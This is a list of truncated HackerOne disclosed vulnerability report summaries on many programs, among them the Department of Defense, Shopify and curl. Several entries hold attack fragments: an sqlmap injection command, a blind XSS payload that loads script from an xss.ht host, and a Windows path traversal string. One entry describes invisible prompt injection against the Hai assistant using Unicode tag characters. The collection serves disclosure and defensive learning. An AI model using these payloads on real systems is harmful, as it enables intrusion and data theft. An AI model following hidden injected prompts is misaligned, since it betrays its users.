HackerOne: Email address of any user can be queried on Report Invitation GraphQL type when username is known

Summary: Email id of all hackerone users disclosure Description: There is an flaw , with that i can get all hackerone users email id Steps To Reproduce 1. Invoke the below graphql call POST /graphql HTTP/1.1 "query":"mutation Revokecredentialmutation$input0:AddReportParticipantInput!...

Node.js third-party modules: [crypto-js] Insecure entropy source - Math.random()

Module module name: crypto-js version: 3.1.9-1 npm page: https://www.npmjs.com/package/crypto-js Module Description JavaScript library of crypto standards. Module Stats Replace stats below with numbers from npm’s module page: 184959 downloads in the last day 912568 downloads in the last week...

Slack: Subdomain takeover on podcasts.slack-core.com

I noticed slack-core.com is used for Slack's call infrastructure. I had never seen that domain before, so I decided to find out what else was running on it. It turned out podcasts.slack-core.com was pointing to a Podcast and RSS hosting service called Feed.Press. However, there was no Feed.Press...

U.S. Dept Of Defense: DOM-XSS

A DOM-XSS vulnerability was found on a subdomain of a website, which could allow an attacker with access to the Siteminder CA to perform a cross-site scripting attack and cause information leaks, privilege escalation, and/or denial of service. The vulnerability was assigned CVE-2013-5968 and a...

Automattic: SQL Injection intensedebate.com

hello dear support I have found SQL Injection on intensedebate.com parameters injectable ?acctid=1 URL:https://www.intensedebate.com/js/importStatus.php?acctid=1 I'm used sqlmap to injection command sqlmap --url https://www.intensedebate.com/js/importStatus.php?acctid=1 --dbs F1140562 available...

Showmax: [stories.showmax.com] Cross Origin Misconfiguration - Sensitive Information Exposure

The hacker reported user enumaration on https://stories.showmax.com/wp-json/wp/v2/users/ and CORS. The user enumeration didn't disclose any sensitive information except usernames which are not problematic because we have 2FA login in place and the usernames could be obtained even from standard...

h1-ctf: [H1-2006 2020] How I solved my first H1 CTF

Introduction: Hello! My name is @cr33pbp0y and I going to tell you how I resolved my first HackerOne CTF. Prelude One day, I was reading some tweets about some new vulnerabilities and new hunters adquisitions when the Great H tweeted: F861267 I thought: "WoW, a new virtual event!! It could be...

HackerOne: Unauthorized access to metadata of undisclosed reports that were retested

Summary: reportretests object in User node discloses some information about undisclosed report Description: An attacker can get some infomation such as "assetname" , "assettype" , "severityrating" , "weaknessname" of undisclosed report Steps To Reproduce 1. Invoke the below graphql call POST...

Mail.ru: Brute-force any email account through allods.mail.ru

!!! Полная версия отчета со скриншотами находится во вложенном PDF-файле. Vulnerability Technical description ========================= По адресу https://allods.mail.ru/account.php находится форма регистрации нового пользователя в игре. В процессе заполнения формы, посылается Ajax POST-запрос в...

Ian Dunn: Potential Open-Redirection

Steps To Reproduce: ===================== 1 visit : Normal Link. 2 Sign-in with your wordpress account and you will directed to This 3Change the value of the Parameter : redirectto .. To the attacker website let's say : https://vul-example.com 4NOTE THAT : you must URL-encode the vulnerable link...

Node.js third-party modules: flatmap-stream malicious package (distributed via the popular events-stream)

I would like to report a case of malicious package flat-stream that made it's way into many other npm packages. One such popular package is event-stream user dominictarr transferred the ownership of an npm module to another user because he wasn't actively maintaining it. That user then added...

Smule: Missing Rate Limit in Forgot Password can Lead to email address leakage of all smule accounts

Hello Smule, I have found a vulnerability by which an attacker can get access of all the gmail accounts associated with Smule. The forgot password parameter can be brute forced through which an attacker can get the email address. Steps to Reproduce Enter your email address and for the forgot...

Liberapay: Insecure Account Deletion

Hi Team, The removal of account is one of the sensitive part of a web application that needs to protect, therefore removing an account should validate the authenticity of the user, however i have found that when removing an account, the system did not require the user to input the account passwor...

arxius: Local File Disclosure via ffmpeg

Summary ffmpeg is a video and audio software that is used for generating previews and for converting videos. Your current installation allows HLS playlists that contain references to external files, which leads to local file disclosure. Reproduction 1. Download this script...

HackerOne: Possible CSRF during joining report as participant

Hi, I think i found a possible csrf issue with joining report as participant endpoint, Actually one of the bug got duplicated and the company added me into the original bug as a participant. then, I got invitation from hackerone to joing the report. After opening the invitation link, there was tw...

U.S. Dept Of Defense: Unauthorized Access Exposing Sensitive Data

The identified page allowed unauthorized access to a user's profile management functionality without requiring authentication. Sensitive user details, such as name, email address, and EDIPI, were exposed upon accessing the page...

U.S. Dept Of Defense: ██████████ running a vulnerable log4j

Description: https://vulners.com/cve/CVE-2021-44228 Impact Probably arbitrary code execution System Hosts ████████ Affected Products and Versions CVE Numbers CVE-2021-44228 Steps to Reproduce 1. Browse to https://████████/███████https%3A%2F%2F█████████%2F 2. Enter a...

Elastic: CVE-2021-40870 on [52.204.160.31]

An issue was discovered in Aviatrix Controller 6.x before 6.5-1804.1922. Unrestricted upload of a file with a dangerous type is possible, which allows an unauthenticated user to execute arbitrary code via directory traversal. The IP has a SSL certificate pointing to ElasticSearch. curl -kv...

GitHub Security Lab: [Java]: CWE 295 - Insecure TrustManager - MiTM

This bug was reported directly to GitHub Security Lab...

Acronis: Subdomain takeover of main domain of https://www.cyberlynx.lu/

Summary Hi Acronis Security Team , Hope you well. I found one of your subdomains which is www.cyberlynx.lu One of your Acquisition is pointing towards www.cyberlynx.lu canonical name = www118.wixdns.net. www118.wixdns.net canonical name = balancer.wixdns.net. balancer.wixdns.net canonical name =...

HackerOne: CSV injection in the credentials export

Summary: Hello team! We have found out that a hacker can inject malicious excel formulas into the credentials details which will be executed when program user exports the credentials details via https://hackerone.com/hackeroneh1pbbp3/credentials - export credentials and opens this CSV using MS...

GitHub Security Lab: Java: Fix NashornScriptEngine detection in ScriptEngine query

This bug was reported directly to GitHub Security Lab...

Automattic: GET /api/v2/url_info endpoint is vulnerable to Blind SSRF

Summary: GET /api/v2/urlinfo endpoint is vulnerable to Blind SSRF. I am able to hit both Internal and External services via url parameter by replacing with internal and external url. Platforms Affected: https://www.tumblr.com/ Steps To Reproduce: 1. Login to https://www.tumblr.com/ 2. Follow any...

U.S. Dept Of Defense: Subdomain takeover due to an unclaimed Amazon S3 bucket on ███

Summary: An unclaimed Amazon S3 bucket on █████████ gives an attacker the possibility to gain full control over this subdomain. Description: ███████ pointed to an S3 bucket that did no longer exists. The bucket points to an Amazon S3 website bucket in the US East region. I claimed this bucket and...

h1-ctf: [h1-2006 2020] CTF Walkthrough

h1-2006-ctf Writeup June 2020 https://hackerone.com/h1-ctf/ The Competition Begins! The tweet announces the CTF challenge. Looks like we will need to find a way to process some payments. F863442 Initial Exploring Reading up on the extended description at https://hackerone.com/h1-ctf/ reveals that...

HackerOne: program_analytics_benchmarks query shows information not visible in public

Summary: programanalyticsbenchmarks is displaying information i don't see yet in public profile of a program. Description: I tried querying programanalyticsbenchmarks for the program security and ██████ and it showing information i cannot find in public profile especially in ███████ Steps To...

Staging.every.org: Improper email address verifiation while saving Account Details

Summary: Attacker could be able change its email to any email address even already created another user's email address.Even though UI doesnot allow it Steps To Reproduce: 0. Set up proxy. 1. Singup with any email address 2. Go to profile section 3. Click on update button 4. Monitor call in rever...

Ian Dunn: xmlrpc.php FILE IS enable it can be used for conducting a Bruteforce attack and Denial of Service(DoS)

Hi Team, The website https://www.iandunn.name has the xmlrpc.php file enabled and could thus be potentially used for such an attack against other victim hosts. Wordpress that have xmlrpc.php enabled for pingbacks, trackbacks, etc. can be made as a part of a huge botnet causing a major DDOS. URL:...

Infogram: User enumeration via forgot password error message

Hi Team, Vulnerable URL : https://infogram.com/forgot Description: During testing forgot password field whether it's rate limiting is working or not, I noticed forgot password field is vulnerable to user enumeration. When user enter email id which is not available into database it shows an error ...

HackerOne: mailto: link injection on https://hackerone.com/directory

I just found that entering a non-existing porogram returns the following response: The Directory doesn't have a profile matching these criteria. If an organization has published security contact information or a vulnerability disclosure policy, please let us know. The bold part has a mailto: link...

Internet Bug Bounty: Flash Cross Domain Policy Bypass by Using File Upload and Redirection - only in Chrome

CVE-2015-0337: https://helpx.adobe.com/security/products/flash-player/apsb15-05.html + https://code.google.com/p/chromium/issues/detail?can=2&start=0&num=100&q=&groupby=&sort=&id=425280 ==VULNERABILITY DETAILS== It is possible to bypass Flash Cross Domain policy in Google Chrome to read other...

GitHub Security Lab: Java : Add a query to detect Spring View Manipulation Vulnerability

This bug was reported directly to GitHub Security Lab...

GitHub Security Lab: Java: QL Query Detector for JHipster Generated CVE-2019-16303

This bug was reported directly to GitHub Security Lab...

Shopify: Blind Stored XSS Via Staff Name

Hey Team, I found blind stored XSS when i add staff name in https://your-store.myshopify.com/admin/settings/account Step to reproduce : 1. Go to https://your-store.myshopify.com/admin/settings/account 2. Add Staff Account 3. Fill First & Last Name with this payload "$.getScript"//█████████.xss.ht...

U.S. Dept Of Defense: Stored XSS at ██████userprofile.aspx

Summary: Stored XSS vulnerability exists at ██████████userprofile.aspx under "say something about yourself...". XSS can be used for a variety of attacks. Impact XSS can be used to steal cookies, password or to run arbitrary code in the victim's browser. Step-by-step Reproduction Instructions 1...

BlockDev Sp. Z o.o: load scripts DOS vulnerability

load scripts DOS vulnerability...

Nord Security: Account deletion requests not entirely honoured. Misinformation even after seeking clarification from customer support.

Summary: Requesting account deletion from NordVPN customer support that is supposed to have "removed your account from our database." does not truly remove account from database. Even after asking if critical information such a billing information is removed, which customer support confirms...

h1-ctf: [h1-415 2020] Multiple chained vulnerabilities lead to leaking secret document

Hi! Summary Multiple chained vulnerabilities lead to leaking secret documents. Improper sanitization in registration allows an attacker to create a QR recover code for any email address. This leads to an account takeover. Using that technique on jobert's account, attacker can access the support...

Equifax-vdp: Important information leaked on Github

While searchin on Github about Equifax i found some juicy information like a username and password of this subdomain https://transport5.ec.equifax.com/, internal ip of the database and its username & password In the following link...

Internet Bug Bounty: Basic Authentication Heap Overflow

Summary: An attacker can get arbitrary data overflowed in the heap via Basic Authorization base64 blob. Even when basic auth isn't configured. Report sent to developers When calling HttpHeader::getAuth the field value will be base64 decoded. The call to the decode method doesn't ensure that the...

WordPress: Lack of Password Confirmation when Changing Password and Email

Hello Team, I noticed that it is not necessary to put your Password when Changing Emails, Password, etc.. which is easy to an attacker to Change it's Victim's Credentials when he hijack or takeover an account on wordpress forum account. Let me know if you need more information. Best Regards,...

HackerOne: LLM01: Invisible Prompt Injection

The report described a vulnerability in Hai's system involving invisible prompt injection via Unicode tag characters. The vulnerability allowed the submission of a test report with a fake report containing hidden characters, which could be used to inject prompts into the system's responses. The...

Ruby: Source code disclosed via S3 Bucket

Summary The Ruby having an Amazon S3 bucked named http://rubyci.s3.amazonaws.com/ which lists some of their log files. Those logs having some informations to check the source code server side directories. Steps to Reproduce 1. direct to http://rubyci.s3.amazonaws.com/ which having READ Permission...

Liberapay: User Enumeration

@offgouvea reported a user enumeration issue. User enumerations are out-of-scope as mentioned in our program's policy...

Open-Xchange: Web Browser XSS Protection Not Enabled

Web Browser XSS Protection is not enabled, or is disabled by the configuration of the 'X-XSS-Protection' HTTP response header on the web server http://www.dovecot.fi/s=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini&submit=Search...

Instacart: Hyperlink Injection in Friend Invitation Emails

Description A user can change their name to a URL in order to send email invitations containing malicious hyperlinks. Steps to Reproduce 1. Create a new Instacart account with the first name http://example.com 2. Navigate to https://www.instacart.com/store/referrals 3. Send an email invitation to...

curl: SMTP Command Injection via CRLF in libcurl MAIL_FROM / MAIL_RCPT (lib/smtp.c)

Summary libcurl’s SMTP implementation fails to properly sanitize CRLF sequences in user-controlled inputs passed via CURLOPTMAILFROM and CURLOPTMAILRCPT. The function smtpparseaddress lib/smtp.c:277 extracts any data following the closing character as a raw suffix and incorporates it directly int...

U.S. Dept Of Defense: Read-only path traversal (CVE-2020-3452) at https://████████

Summary: I discovered a vulnerability Read-only path traversal CVE-2020-3452 at https://████████ Description: A vulnerability in the web services interface of Cisco Adaptive Security Appliance ASA Software and Cisco Firepower Threat Defense FTD Software could allow an unauthenticated, remote...

GitHub Security Lab: CodeQL query to detect OGNL injections

This bug was reported directly to GitHub Security Lab...

X (Formerly Twitter): AppLovin API Key hardcoded in a Github repo

Hello, I found a Sensitive Data Exposure in github/mopub-android-mediation project, the AppLovin UI API key is hardcoded in source code. And in the comment it's mentioned that "This is a unique SDK Key from AppLovin. Get yours from the AppLovin UI". Github Link:-...